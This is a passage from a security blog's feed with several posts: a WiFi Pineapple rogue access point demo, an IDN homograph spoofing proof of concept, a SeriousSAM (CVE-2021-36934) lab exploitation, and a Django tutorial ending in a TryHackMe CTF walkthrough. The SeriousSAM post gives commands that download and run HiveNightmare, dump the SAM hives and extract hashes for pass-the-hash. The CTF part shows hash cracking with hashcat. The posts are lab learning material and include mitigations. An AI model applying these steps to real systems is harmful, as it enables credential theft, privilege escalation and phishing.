<h2 id="heading-pineap-setup">PineAP Setup</h2>
<p>Enabling the following options to be able to capture and rebroadcast SSIDs</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983450296/43cb8031-b14e-4bfc-8ccd-a3e62dd0f471.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<h2 id="heading-broadcast-attack">Broadcast Attack</h2>
<p>After letting PineAP do its thing for a while, we are able to see a couple of SSIDs in the <code>SSID Pool</code> .</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983452079/7b510b25-25de-4c39-93a6-2b688ca69af5.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Now on my devices, I would be able to see these SSIDs being broadcasted and unprotected. (as shown below)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983453780/cb394e7a-d7c6-43f6-94fb-b884afad2aae.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983455409/3c1307a5-de34-46c0-9682-f36047d42b5c.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Now once our "target" connects to our network, we own it :) (kind of)</p>
<h2 id="heading-client-connect-back">Client Connect back</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983456802/983eaf1e-904e-4f97-a59f-03959557cbfc.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983458950/2cbcea38-d4b6-4e58-9885-114cde790697.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<h2 id="heading-clients">Clients</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983460540/91aaae36-9a7f-4dd1-81ff-01899fe166e0.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>We can see that both the devices are connected to the Wifi 🍍 but they are connected under 2 different SSIDs. My laptop thinks it is connected to <code>AndroidAP68A2</code> and my phone thinks it is connected to <code>Linksys12765_5GHz</code> .</p>
<p>The connected devices won't realize a thing as the Wifi 🍍 is connected to the internet and acts how any other router would.</p>
<p>Now that we have both devices connected to our bogus network, we can use <strong>Modules (</strong>which will be covered in the next section<strong>)</strong> to perform various attacks.</p>
<p>This is how we can make use of PineAP to trick users to connect to us.</p>
<p>    From my testing, I wasn't able to get the devices to connect to the endpoints automatically. Thus, this attack still depends on the user to make the final decision to connect.</p>
<hr />
<p>That was an awesome way to get introduced to wireless hacking! I wish to explore more manual options in the near future 🔥!</p>
]]></content:encoded></item><item><title><![CDATA[IDN homograph attack - Domain Spoofing]]></title><description><![CDATA[I have always wondered how malicious attackers register domains that look exactly like the original but have a slight change in the characters used. Mostly Unicode characters. I recently sank some time into figuring out how this attack works with the...]]></description><link>https://4pfsec.com/idn-homograph-attack-domain-spoofing</link><guid isPermaLink="true">https://4pfsec.com/idn-homograph-attack-domain-spoofing</guid><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Fri, 23 Jul 2021 16:28:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983479121/fc02e7a5-4822-4cf2-9649-68f9e32321f2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983466959/1f85f3b4-0467-4102-8bd1-9106ae3c0755.jpeg" alt="IDN homograph attack - Domain Spoofing" /></p>
<p>I have always wondered how malicious attackers register domains that look exactly like the original but have a slight change in the characters used. Mostly Unicode characters. I recently sank some time into figuring out how this attack works with the various characters. I eventually succeeded in my attempts.</p>
<p>I now own <a target="_blank" href="http://xn--pple-pzb.com/">ȧpple.com</a> and <a target="_blank" href="http://xn--acebook-js3c.com/">ḟacebook.com</a>. If you were to open the link on safari or firefox, it would appear how its shown above. However, if you were to open the link with any other chromium browser, you would be seeing the ASCII version of it. Here's what happens in the background and how I did it.</p>
<h1 id="heading-background">Background</h1>
<p>A hostile actor can fool computer users about what distant system they are connecting with via an internationalized domain name (IDN) homograph attack. There are a ton of character look-alikes that can be used to perform such attacks. For example, the a in <a target="_blank" href="http://apple.com">apple.com</a> can be replaced with the Cyrillic character "а". Or it could even be replaced with the Latin Extended Additional character "ȧ". Which is what I've done in my POC domains. If you're interested, check <a target="_blank" href="https://en.wiktionary.org/wiki/Appendix:Unicode/Latin_Extended_Additional">this</a> out!</p>
<h2 id="heading-punycode">Punycode</h2>
<p>You may wonder how someone is able to register a domain with Unicode characters. That's where Punycode comes in handy! If you closely inspect the URL on most chromium browsers, you'll notice that I actually registered <code>xn--acebook-js3c.com</code> and <code>xn--pple-pzb.com</code>.</p>
<p>The characters <code>ȧ</code> and <code>ḟ</code> are seen as Unicode characters. Punycode is a Unicode encoding that uses just the ASCII character set for Internet hostnames. And this is also what allows someone to register a domain with Unicode characters.</p>
<h1 id="heading-in-action">In action</h1>
<p>Let's take a look at how various browsers process the Punycode (by default)</p>
<h2 id="heading-firefox">Firefox</h2>
<iframe width="200" height="113" src="https://www.youtube.com/embed/RHkflnP7Alg?feature=oembed"></iframe>

<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983468341/6f6bd4b3-5464-470c-be1e-16b8b6dd1c9f.png" alt="IDN homograph attack - Domain Spoofing" /></p>
<h2 id="heading-safari">Safari</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983469934/0b5513a2-c412-4e49-9bdf-1cd15f4ad934.png" alt="IDN homograph attack - Domain Spoofing" /></p>
<h2 id="heading-bravechrome">Brave/Chrome</h2>
<iframe width="200" height="113" src="https://www.youtube.com/embed/eu9nR4Y0hDk?feature=oembed"></iframe>

<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983471986/321e04ec-409f-4efe-9d72-626d7b1c85e6.png" alt="IDN homograph attack - Domain Spoofing" /></p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Most chromium-based browsers seem to have fixed this "issue" by displaying the ASCII version and not processing the Punycode. However, Firefox and Safari don't seem to do this by default. At least from my testing. There might be more browsers I'm unaware of that do this.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983474125/63a93c00-9cf9-4302-b993-343eb133859c.png" alt="IDN homograph attack - Domain Spoofing" /></p>
<h1 id="heading-impact">Impact</h1>
<p>If you're reading this, you are definitely will be able to pick out the difference and catch this. Its the general public we have to be worried about. This attack creates a lot of possibilities for phishing attacks. From a distance, people might not be able to tell the difference and end up giving up their credentials.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983475082/6e9b2a98-e091-4cad-8325-975e0c416123.png" alt="IDN homograph attack - Domain Spoofing" /></p>
<h1 id="heading-fix">Fix</h1>
<p>The most obvious answer would be to use a password manager. Password managers associate the domains with your credentials. This stops a look-alike domain from stealing your credentials!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983476720/adfeaa22-1745-476f-9a23-26a1d0086058.png" alt="IDN homograph attack - Domain Spoofing" /></p>
<p>The temporary solution for Firefox users would be to head to <code>About -&gt; Config</code> and set <code>network.IDN_show_punycode</code> to <code>True</code> . This would ensure that Firefox shows the same URL as other chromium browsers!</p>
<h1 id="heading-poc">POC</h1>
<p>Access these links on Firefox/Safari to see the effect!</p>
<p><a target="_blank" href="http://xn--pple-pzb.com/">http://ȧpple.com/</a></p>
<p><a target="_blank" href="http://xn--acebook-js3c.com/">http://ḟacebook.com/</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983477968/e4caf910-005c-4ddd-93c6-40724bf26c60.png" alt="IDN homograph attack - Domain Spoofing" /></p>
<h2 id="heading-for-those-interested">For those interested</h2>
<hr />
<p>    [Steps to reproduce]</p>
<ul>
<li>Purchase a domain name. Specifically an ASCII version of "ȧpple.com" which turns out to be "xn--pple-pzb.com"</li>
<li>Setup DNS records and point it to a server hosting a static site.</li>
<li>Launch the latest version of Firefox and Browse to "xn--pple-pzb.com"</li>
</ul>
<hr />
<p>    [Actual Results]</p>
<ul>
<li>Firefox processes "xn--pple-pzb.com" in the address bar and displays the Unicode version, "ȧpple.com" in the address bar to the end-user.</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[SeriousSAM (CVE-2021–36934)]]></title><description><![CDATA[SeriousSAM is a CVE which allows non privileged users to read registry and sensitive data. Users are then able to elevate their privileges using the obtained data. This vulnerability has exists in windows based machines for the longest time. It was j...]]></description><link>https://4pfsec.com/serioussam-cve-202136934</link><guid isPermaLink="true">https://4pfsec.com/serioussam-cve-202136934</guid><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Fri, 23 Jul 2021 14:31:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983496834/37b8326a-36b4-43cc-8a03-cb92857d44e3.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983484621/5dc9de47-b7d3-48bc-add2-e82ae7929178.jpeg" alt="SeriousSAM (CVE-2021–36934)" /></p>
<p>SeriousSAM is a CVE which allows non privileged users to read registry and sensitive data. Users are then able to elevate their privileges using the obtained data. This vulnerability has exists in windows based machines for the longest time. It was just never uncovered till 20th of July 2021. I'll be exploiting the Elevation of Privilege Vulnerability in my own lab environment!</p>
<h1 id="heading-executive-summary">Executive Summary</h1>
<blockquote>
<p>An elevation of privilege vulnerability exists because of overly permissive Access Control Lists (ACLs) on multiple system files, including the Security Accounts Manager (SAM) database. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. An attacker must have the ability to execute code on a victim system to exploit this vulnerability.</p>
</blockquote>
<p><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934">Link</a> to Microsoft's post.</p>
<h1 id="heading-prerequisites">Prerequisites</h1>
<p>There are certain prerequisites that have to be met in order for the attack to exploit this vulnerability. The vulnerability exists in the Volume Shadow Copy Service (VSS) AKA System Restore Points and the insecure SAM file permissions.</p>
<h2 id="heading-system-protection">System Protection</h2>
<p>System Protection has to be enabled for at least the C:/ drive. Has to be done by the administrator of the machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983485734/dc2c5f6a-f3a3-4d05-b4f2-08eb43d25ab1.png" alt="SeriousSAM (CVE-2021–36934)" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983487054/fdf08179-5fdb-4fb7-84e0-d9f9c13e561e.png" alt="SeriousSAM (CVE-2021–36934)" /></p>
<h2 id="heading-restore-point">Restore Point</h2>
<p>A restore point has to exist on the target machine. Has to be done by the administrator of the machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983488165/06f1506a-a256-43c9-bc2b-14b21105ba2c.png" alt="SeriousSAM (CVE-2021–36934)" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983489476/e54525fd-6af5-42fd-b4ea-bdf5f9437564.png" alt="SeriousSAM (CVE-2021–36934)" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983491017/ec26a5bf-b16b-4ed4-8523-f75215875d65.png" alt="SeriousSAM (CVE-2021–36934)" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983491953/fcc89096-5163-4899-a66a-1d7e36c1200c.png" alt="SeriousSAM (CVE-2021–36934)" /></p>
<h1 id="heading-privilege-escalation">Privilege Escalation</h1>
<p>Now lets assume we have an initial shell on the box as a low privilege user. This is how we would go about getting those hashes which we can then pass around 😉.</p>
<h2 id="heading-transfer-malicious-executable">Transfer Malicious Executable</h2>
<p>I'll be utilizing <a target="_blank" href="https://github.com/GossiTheDog/HiveNightmare.git">this</a> repository by <a target="_blank" href="https://github.com/GossiTheDog">Kevin Beaumont</a> to exploit this vulnerability. The latest version of the executable (as of writing this) can be downloaded from <a target="_blank" href="https://github.com/GossiTheDog/HiveNightmare/releases/download/0.5/HiveNightmare.exe">here</a>.</p>
<p>    C:\Users\user\Desktop\SeriousSAM&gt;certutil -urlcache -f <a target="_blank" href="https://github.com/GossiTheDog/HiveNightmare/releases/download/0.5/HiveNightmare.exe">https://github.com/GossiTheDog/HiveNightmare/releases/download/0.5/HiveNightmare.exe</a> HiveNightmare.exe</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983492973/512b9bd8-c299-41c1-9369-de05d7e9462f.png" alt="SeriousSAM (CVE-2021–36934)" /></p>
<h2 id="heading-run-exploit">Run exploit</h2>
<p>Running the executable successfully dumps out the SAM, SECURITY and SYSTEM files.</p>
<p>    C:\Users\user\Desktop\SeriousSAM&gt;HiveNightmare.exe</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983494546/11966d98-c3a7-4e3c-a426-b626e036dfff.png" alt="SeriousSAM (CVE-2021–36934)" /></p>
<h2 id="heading-dumping-hashes">Dumping Hashes</h2>
<p>Using <a target="_blank" href="https://github.com/CiscoCXSecurity/creddump7.git">CredDump7</a> we are able to dump the user accounts' hashes for further use.</p>
<p>    ┌──(root💀4pfsec)-[~/projects/seriousSam]
    └─# /opt/creddump7/pwdump.py SYSTEM-2021-06-13 SAM-2021-06-13</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983495724/b425af62-5e9b-4f34-bbfa-7f9a5dc6a8eb.png" alt="SeriousSAM (CVE-2021–36934)" /></p>
<p>We were able to successfully dump the hashes from the target machines which we can then use to perform a <code>Pass the Hash</code> attack with <code>psexec</code>.</p>
<h1 id="heading-workaround-temporary-patch">Workaround / Temporary Patch</h1>
<p>By Microsoft.</p>
<p><strong>Restrict access to the contents of %windir%\system32\config</strong></p>
<p>Command Prompt (Run as administrator): <code>icacls %windir%\\system32\\config\\*.* /inheritance:e</code></p>
<p>Windows PowerShell (Run as administrator): <code>icacls $env:windir\\system32\\config\\*.* /inheritance:e</code></p>
<p><strong>Delete Volume Shadow Copy Service (VSS) shadow copies</strong></p>
<ol>
<li>Delete any System Restore points and Shadow volumes that existed prior to restricting access to %windir%\system32\config.</li>
<li>Create a new System Restore point (if desired).</li>
</ol>
<p><strong>Impact of workaround</strong> Deleting shadow copies could impact restore operations, including the ability to restore data with third-party backup applications. For more information on how to delete shadow copies, see <a target="_blank" href="https://www.notion.so/1ceaa637aaa34b58a48bbaf72a2fa9e7">KB5005357- Delete Volume Shadow Copies</a>.</p>
<p><strong>Note</strong> You must restrict access <em>and</em> delete shadow copies to prevent exploitation of this vulnerability.</p>
<p>There's also a bunch of updates for the various versions of windows over on <a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934">this</a> page (at the bottom).</p>
]]></content:encoded></item><item><title><![CDATA[Introduction to Django Framework]]></title><description><![CDATA[I recently picked up the basics of flask and have been wanting to learn Django. Here's my go @ it with the help of TryHackMe! Django is a high-level Python web framework that enables the rapid development of secure and maintainable websites. It allow...]]></description><link>https://4pfsec.com/introduction-to-django-framework</link><guid isPermaLink="true">https://4pfsec.com/introduction-to-django-framework</guid><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Mon, 19 Jul 2021 15:24:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983546872/ca152625-3aec-427e-b790-1cd7ea432c46.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983502030/4e115f95-1565-4c39-8836-2489dbee86cd.jpeg" alt="Introduction to Django Framework" /></p>
<p>I recently picked up the basics of flask and have been wanting to learn Django. Here's my go @ it with the help of <a target="_blank" href="https://tryhackme.com/room/django">TryHackMe</a>! Django is a high-level Python web framework that enables the rapid development of secure and maintainable websites. It allows you to develop websites and web applications in a matter of hours.</p>
<p>Django can automatically compile HTML code, therefore making it possible for anyone without any advanced knowledge in markup languages to develop a website. Additionally, Django is arguably one of the most secure developing frameworks, which in the right configuration, can strongly resist SQL injections and XSS.</p>
<p>In terms of penetration testing, it's critical to grasp the basic structure of Django-powered websites in order to spot potential flaws and developer errors.</p>
<p><a target="_blank" href="https://github.com/ItsNee/DjangoExampleTemplate.git">All Source Files</a></p>
<hr />
<h2 id="heading-getting-started">Getting Started</h2>
<p>Here's how to get started with Django on your local machine!</p>
<h3 id="heading-installing-django">Installing Django</h3>
<p>    ┌──(root💀4pfsec)-[~/boxes/thm/django]
    └─# pip3 install Django==2.2.12</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983503291/c7d1823e-a66d-4dd0-bec1-0e0adad10f52.png" alt="Introduction to Django Framework" /></p>
<h3 id="heading-creating-new-project">Creating new Project</h3>
<p>    ┌──(root💀4pfsec)-[~/boxes/thm/django]
    └─# django-admin startproject site_4pfsec</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983504427/1f14c37e-54ea-418b-b182-2a59e6912ea8.png" alt="Introduction to Django Framework" /></p>
<h3 id="heading-configure-created-project">Configure created Project</h3>
<p><code>manage.py</code> is a command-line utility that lets you interact with your Django project in various ways. It is especially handy in creating web apps, managing databases, and most importantly running the server.</p>
<p>    ┌──(root💀4pfsec)-[~/boxes/thm/django/site_4pfsec]
    └─# ls
    manage.py  site_4pfsec</p>
<p>    ┌──(root💀4pfsec)-[~/boxes/thm/django/site_4pfsec]
    └─# python3 manage.py migrate</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983505454/d7435461-eaef-4876-abea-83a17bf58b24.png" alt="Introduction to Django Framework" /></p>
<p>    ┌──(root💀4pfsec)-[~/boxes/thm/django/site_4pfsec]
    └─# ls
    db.sqlite3  manage.py  site_4pfsec</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983506608/c45f4bb0-28dd-4c15-b894-6cb61bd978d0.png" alt="Introduction to Django Framework" /></p>
<h3 id="heading-run-django-server">Run Django Server</h3>
<p>The basic syntax for using this utility is <code>python3 manage.py {command}</code></p>
<p><strong>Modify Bind Host</strong></p>
<p>Modify line 28. Add <code>0.0.0.0</code> and <code>127.0.0.1</code><br /><code>~/django/site_4pfsec/site_4pfsec/settings.py</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983507634/cbec273f-097e-4dc6-8efd-fbe8955bb3b8.png" alt="Introduction to Django Framework" /></p>
<p><strong>runserver</strong></p>
<p>Runserver is the most important command used with manage.py. It allows you to deploy your website on the server. Django has a wonderful feature that allows you to instantly see changes made on the website without restarting it. (It is only necessary to restart runserver command when adding a new app).</p>
<p>    ┌──(root💀4pfsec)-[~/boxes/thm/django/site_4pfsec]
    └─# python3 manage.py runserver 0.0.0.0:8000 </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983509005/c030c7fa-5bc2-4216-9f8f-5baa7621279c.png" alt="Introduction to Django Framework" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983510075/94ebda9c-d30a-47e4-85a5-f12a6ce8379d.png" alt="Introduction to Django Framework" /></p>
<p><strong>createsuperuser</strong></p>
<p>This command allows you to create an admin account for your Django web admin panel.</p>
<p>    ┌──(root💀4pfsec)-[~/boxes/thm/django/site_4pfsec]
    └─# python3 manage.py createsuperuser</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983511168/4edaf6f1-092e-4d39-978a-5230d93fdbfb.png" alt="Introduction to Django Framework" /></p>
<p><strong>Django Admin Panel</strong></p>
<p><code>0.0.0.0:8000/admin</code><br />This URL can be used to access Django web admin panel.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983512164/eb655524-cb1e-459a-9d4a-2f645003b536.png" alt="Introduction to Django Framework" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983513189/277a92ae-c7af-417f-afc7-0662ec7434be.png" alt="Introduction to Django Framework" /></p>
<p><strong>startapp</strong></p>
<p>Startapp allows you to initialize an app for your project. Django projects can have an infinite number of apps.</p>
<p>    ┌──(root💀4pfsec)-[~/boxes/thm/django/site_4pfsec]
    └─# python3 manage.py startapp slatt</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983514219/617a6b75-d6d9-4cda-8753-629258f7b57c.png" alt="Introduction to Django Framework" /></p>
<hr />
<h2 id="heading-creating-a-site">Creating a Site</h2>
<p>let's go ahead and create a very simple app.</p>
<h3 id="heading-modify-settingspy">Modify settings.py</h3>
<p>    INSTALLED_APPS = [
        'slatt',
        'django.contrib.admin',
        'django.contrib.auth',
        'django.contrib.contenttypes',
        'django.contrib.sessions',
        'django.contrib.messages',
        'django.contrib.staticfiles',
    ]</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983515233/93fb7889-7be4-4cef-a6d6-14b6a480afeb.png" alt="Introduction to Django Framework" /></p>
<h3 id="heading-modify-urlspy">Modify urls.py</h3>
<p>    from django.contrib import admin
    from django.urls import path, include</p>
<p>    urlpatterns = [
            path('slatt/', include('slatt.urls')),
        path('admin/', admin.site.urls),
    ]</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983516397/bc614962-ff0a-437a-9860-687831927cb9.png" alt="Introduction to Django Framework" /></p>
<h3 id="heading-app-directory">App Directory</h3>
<p>There are a couple files that need to be created in here for the app to work!</p>
<p><strong>urls.py</strong></p>
<p>    from django.urls import path
    from . import views</p>
<p>    app_name = 'slatt'
    urlpatterns = [
        path('', views.index, name='index'),
    ]</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983517685/8765fc2d-2667-43b5-b7e8-7faa78a8f5ef.png" alt="Introduction to Django Framework" /></p>
<p><strong>views.py</strong></p>
<p>    from django.shortcuts import render
    from django.http import HttpResponse</p>
<h1 id="heading-create-your-views-here">Create your views here.</h1>
<p>    def index(request):
        return HttpResponse("Hello, World!")</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983518693/a53be809-fd9c-4580-8465-54732c9b3365.png" alt="Introduction to Django Framework" /></p>
<p><strong>Running App</strong></p>
<p>    ┌──(root💀4pfsec)-[~/boxes/thm/django/site_4pfsec]
    └─# python3 manage.py migrate</p>
<p>    ┌──(root💀4pfsec)-[~/boxes/thm/django/site_4pfsec]
    └─# python3 manage.py runserver 0.0.0.0:8000</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983519753/e5320dff-95f4-4ddb-bbe0-14c2642e56c0.png" alt="Introduction to Django Framework" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983520768/e43bf022-34dd-4a40-a6df-212af7c170ba.png" alt="Introduction to Django Framework" /></p>
<h3 id="heading-rendering-templates-with-django">Rendering Templates with Django</h3>
<p>Django is able to automatically generate HTML markdown if properly told so. Templates are the ones who help us with that.</p>
<p><strong>Templates</strong></p>
<p>Create a template subdirectory in the app directory to hold all of our templates.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983521548/6a6f1a4f-5471-44cc-abe0-bfb2207b81e4.png" alt="Introduction to Django Framework" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983522372/b173ec63-9f9b-426b-973f-fad48959feb5.png" alt="Introduction to Django Framework" /></p>
<p><strong>Base.html</strong></p>
<p>    &lt;!DOCTYPE html&gt;
    
    
        
        {% block title %}Slatt{% endblock %}</p>
<p>    
    </p>
<p>            {% block content %} {% endblock %}</p>
<p>    
    </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983524206/9cbc4121-d37f-43a2-b0c4-1ee83caadf02.png" alt="Introduction to Django Framework" /></p>
<p><strong>index.html</strong></p>
<p>    {% extends 'base.html'%}</p>
<p>    {% block content %}</p>
<p>    Hello world!
    -Nee!</p>
<p>    {% endblock %}</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983525247/46676e95-63eb-4313-936c-75b6b52af339.png" alt="Introduction to Django Framework" /></p>
<p><strong>views.py</strong></p>
<p>    from django.shortcuts import render
    from django.http import HttpResponse</p>
<h1 id="heading-create-your-views-here-1">Create your views here.</h1>
<p>    def index(request):
        return render(request, 'index.html')</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983526312/f8d682c2-be91-4470-b83a-41cea7fbaf3d.png" alt="Introduction to Django Framework" /></p>
<p><strong>Running App</strong></p>
<p>    ┌──(root💀4pfsec)-[~/boxes/thm/django/site_4pfsec]
    └─# python3 manage.py migrate</p>
<p>    ┌──(root💀4pfsec)-[~/boxes/thm/django/site_4pfsec]
    └─# python3 manage.py runserver 0.0.0.0:8000</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983527368/f937243f-250d-4aee-9277-fce534d9d568.png" alt="Introduction to Django Framework" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983528427/419d66e0-0861-4bac-8372-9e85528a0d41.png" alt="Introduction to Django Framework" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983529851/0d87df32-76df-4ea9-9b2e-ae2a99edcd44.png" alt="Introduction to Django Framework" /></p>
<hr />
<h2 id="heading-ctf">CTF</h2>
<p><code>Target host = 10.10.131.20</code><br /><code>Target Port = 8000</code><br /><code>Target Username = django-admin</code><br /><code>Target Password = roottoor1212</code></p>
<p>Browsing to the host on that port returned a disallowed error as shown below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983531165/fcad41b9-e2d6-4a3a-b3a8-f5a3c1dc5f7b.png" alt="Introduction to Django Framework" /></p>
<p>I was able to log in to the server via SSH with the given credentials.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983532316/ce9f139f-b678-44be-8610-9ac5145be5cf.png" alt="Introduction to Django Framework" /></p>
<p>Since I had access to the server, I modified the <code>ALLOWED_HOSTS</code> list in <code>settings.py</code></p>
<p>    django-admin@py:~/messagebox/messagebox$ nano settings.py</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983533469/63338715-efb4-4935-a61b-479a18b66ee3.png" alt="Introduction to Django Framework" /></p>
<p>That modification led me into the application as shown below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983534476/9eac9d84-641c-489c-9b13-511ee359d219.png" alt="Introduction to Django Framework" /></p>
<p>Exploring messages returned the following.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983536201/1ea0b46d-9e93-4c2f-b1fd-94d1b896c47a.png" alt="Introduction to Django Framework" /></p>
<blockquote>
<p>Admin panel flag?</p>
</blockquote>
<p>Since I had access to the server, I used the createsuperuser command to create my own user to be able to login to the Admin panel.</p>
<p>    django-admin@py:~/messagebox$ python3 manage.py createsuperuser</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983537435/fb328a4d-00f7-461c-baaa-acdd21d47be9.png" alt="Introduction to Django Framework" /></p>
<p><code>http://10.10.131.20:8000/admin/</code></p>
<p>With that, I was able to login to the admin panel as shown below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983538512/0898df9a-30cf-4563-8d79-3fbe8efe9153.png" alt="Introduction to Django Framework" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983539795/0e965300-76ff-42de-b53d-697728587ab8.png" alt="Introduction to Django Framework" /></p>
<p>Browsing to <a target="_blank" href="http://10.10.131.20:8000/admin/auth/user/"><code>http://10.10.131.20:8000/admin/auth/user/</code></a> reveals the flag and some other interesting information as shown below!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983541040/f2f89b6c-cf32-4f30-84b3-8efeacfe702d.png" alt="Introduction to Django Framework" /></p>
<blockquote>
<p>User flag?</p>
</blockquote>
<p>The previous challenge gave us a new username and a password hash.</p>
<p>    Username: StrangeFox<br />    Password hash: https://pastebin.com/nmK---</p>
<p>Using <a target="_blank" href="https://toolz.4pfsec.com/hashId/"><code>https://toolz.4pfsec.com/hashId/</code></a> I was able to detect the hash as shown below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983542388/088af3de-72ef-4903-80a0-0245c09bf63b.png" alt="Introduction to Django Framework" /></p>
<p><code>SHA-256 [Hashcat Mode: 1400]</code></p>
<p>Since I knew it was a <code>SHA-256</code> hash, I used <code>hashcat mode 1400</code> to go ahead and crack it.</p>
<p>    .\hashcat.exe -m 1400 .\hashes\djangoCtf.txt .\wordlists\mylist.txt --force</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983543511/7daa789a-108c-4cf8-ac14-a9edb3d7f418.png" alt="Introduction to Django Framework" /></p>
<p><code>c06029563b2765020613f5bf79fc528344ffa039ef1483d0c390786d8010c630:WildNature</code><br /><code>Target User = StrangeFox</code><br /><code>Target User's Password = WildNature</code></p>
<p>Knowing the credentials, I switched to that user.</p>
<p>    su StrangeFox
    WildNature</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983544671/49373955-d5f7-407b-a286-807ccabc0b77.png" alt="Introduction to Django Framework" /></p>
<blockquote>
<p>Hidden flag?</p>
</blockquote>
<p>Knowing that the flag would be on the machine, I grep-ed recursively throughout the FS to find the flag. (as shown below)</p>
<p>    StrangeFox@py:/$ cd /
    StrangeFox@py:/$ grep -Hr "THM{"</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983545864/4f8a6bc3-4763-454c-83df-aa665e0863a8.png" alt="Introduction to Django Framework" /></p>
<hr />
<h2 id="heading-conclusion">Conclusion</h2>
